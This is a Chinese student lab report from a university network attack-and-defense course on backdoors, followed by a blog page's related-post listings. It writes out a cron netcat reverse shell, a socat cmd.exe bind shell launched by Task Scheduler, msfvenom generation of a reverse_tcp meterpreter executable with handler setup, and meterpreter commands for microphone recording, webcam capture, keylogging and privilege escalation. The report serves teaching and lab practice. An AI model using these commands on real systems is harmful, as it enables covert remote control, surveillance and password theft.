2018-2019-2 网络对抗技术 20165321 Exp2 后门原理与实践
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:网络钓鱼植入木马。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:绑定在合法软件上启动。
(3)Meterpreter有哪些给你映像深刻的功能?
答:记录按键功能,可以获取输入的密码。
(4)如何发现自己有系统有没有被安装后门?
答:用杀软杀毒。。。。。。
实验内容
(1)使用netcat获取主机操作shell,cron启动 (0.5分)
步骤/截图
- cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可以"man cron"。

- 在Windows系统下,监听
5321端口 - 在kali环境下,用
crontab -e指令编辑一条定时任务,(crontab指令增加一条定时任务,-e表示编辑)选择编辑器时选择3(第一次会提示选择编辑器,以后就不会提示了); - 在最后一行添加
58 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh,意思是在每个小时的第58分钟反向连接Windows7主机的5321端口;

- 当时间到了第58分时,Windows7获得kali的shell,可输入命令。

(2)使用socat获取主机操作shell, 任务计划启动 (0.5分)
步骤/截图
- 搜索打开“计算机管理”;

- 在“任务计划程序”中“创建任务”;

- 填写任务名->新建一个触发器;

- 在操作->程序或脚本中选择你的
socat.exe文件的路径,在添加参数一栏填写tcp-listen:5321 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5321,同时把cmd.exe的stderr重定向到stdout上;

- 创建完成之后,按
Win+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行; - 此时,在kali环境下输入指令
socat - tcp:192.168.70.144:5321,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5321端口,此时可以发现已经成功获得了一个cmd shell。

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
步骤/截图
- 在kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.145 LPORT=5321 -f exe > 20165321_backdoor.exe,这里的IP地址为kali的IP地址,运行指令后生成了后门程序“20165318_backdoor.exe”;

- 在Windows7下执行
nc.exe -l 5321 > 20165321_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5321 > 20165321_backdoor.exe指令,通过-lv选项看到当前的连接状态;

- 在kali中执行
nc -nv 192.168.70.144 5321 < 20165321_backdoor.exe,这里的IP地址为Windows7的IP地址;

- 传送接收文件成功;

- 在kali上输入`
msfconsole指令,然后在Windows7中打开后门程序,kali中就进入msf控制台;

- 输入
use exploit/multi/handler使用监听模块,设置payload; - 输入
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload; - 输入
set LHOST 192.168.70.145,这里用的是kali的IP,和生成后门程序时指定的IP相同; - 输入
set LPORT 5321,同样要使用相同的端口; - 输入
show options查看设置; - 设置完成后,输入
exploit执行监听;

- 在Windows7中运行后门程序;
- kali获得Windows7的shell。

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
步骤/截图
- 使用
record_mic指令可以截获一段音频,可以用-d选项设置录制时间; - 使用
webcam_snap指令可以使用摄像头进行拍照; - 使用
keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录; - 使用
screenshot指令可以进行截屏; - 先使用
getuid指令查看当前用户,使用getsystem指令进行提权; - 用
webcam stream指令可以使用摄像头进行录像。

错误记录
在本次实验当中,我遇到了一些错误。
- 在第(3)步中,我在执行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.145 LPORT=5321 -f exe > 20165321_backdoor.exe生成后门程序的时候,一开始一直提示无法生成后门程序,后来才发现,原来是重新启动kali的时候,IP地址已经发生了改变,而我在输入指令的时候,还沿用的是上次开启kali的时候的IP地址,因此发生错误。 - 在第(4)步中,在虚拟机内无法启动摄像头。
实验感想
在本次实验当中,我更深刻地体验到了比在第一次实验当中更为深入、更为隐蔽、更为功能强大的后门程序所产生的威力。在第一次实验当中,攻击方对受害方攻击成功之后,仅仅只是获得了受害方主机的shell,但在第二次实验当中,攻击方向受害方注入后门程序,攻击成功之后,不仅仅可以获得受害方主机的shell,而且还可以调用受害方主机的摄像头进行拍照、录像,还可以在受害方主机上录音、截屏,甚至获取受害方主机的键盘敲击记录,功能甚是强大,也让我们了解到了恶意代码与后门程序的危害性,以让我们增强在这方面的防御。
2018-2019-2 网络对抗技术 20165321 Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
- 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...
随机推荐
- MongoDB超级简明入门教程
1.概念篇 MongoDB和MySQL分别作为非关系型数据库和关系型数据库的代表,通过它们之间的对比可以很快的建立起对MongoDB的认知. MongoDB MySQL 数据库(Database) 数 ...
- sklearn标准化-【老鱼学sklearn】
在前面的一篇博文中关于计算房价中我们也大致提到了标准化的概念,也就是比如对于影响房价的参数中有面积和户型,面积的取值范围可以很广,它可以从0-500平米,而户型一般也就1-5. 标准化就是要把这两种参 ...
- java.net.NoRouteToHostException: No route to host解决方法
当访问192.168.10.98上的tomcat时候,tomcat日志异常 然后查看tomcat服务器上的防火墙 查看service层的防火墙: 至此问题解决: 永久关闭防火墙: 1.首先查看防火墙状 ...
- Kubernetes国内镜像、下载安装包和拉取gcr.io镜像
参考: https://blog.csdn.net/nklinsirui/article/details/80581286
- 网络编程-Python高级语法-闭包
什么叫闭包?通俗来说就是函数里嵌套函数,从表现形式来看,内部函数引用外部函数的作用域里的变量,那么内部函数就称为闭包 举例说明: 1.闭包=函数块+定义函数时的环境,inner就是函数块,x就是环境 ...
- python3 使用代理
#代理使用 >>> proxy_handler=urllib.request.ProxyHandler({'http':'211.81.31.18:8081'}) >>& ...
- Mysql学习之基础
数据库基础 什么是数据库 数据库是一个以某种有组织的方式存储数据集合,通常是一个文件或是一组文件,是通过DBMS(数据库管理系统) 来对数据库进行交互的,数据库可以是保存在硬设备上的文件, 也可以不是 ...
- Java数据库连接与查询
9个步骤: 1.加载数据库驱动: 2.连接数据库: 3.创建语句statement: 5.创建sql语法字符串: 6.执行: 7.如果步骤6是执行新增.修改.删除操作那么返回的是影响的行数,如果是执行 ...
- js以键值对的方式获取URL的参数
在前端日常的开发中,大多数时候我们只需用js获取到url中的参数即可,这个实现起来也很方便如: function getQueryString(value) { const reg = new Reg ...
- js 改变只读属性的值
console.log(navigator.platform); // Win32 Object.defineProperty(navigator, 'platform', { value: 'cc' ...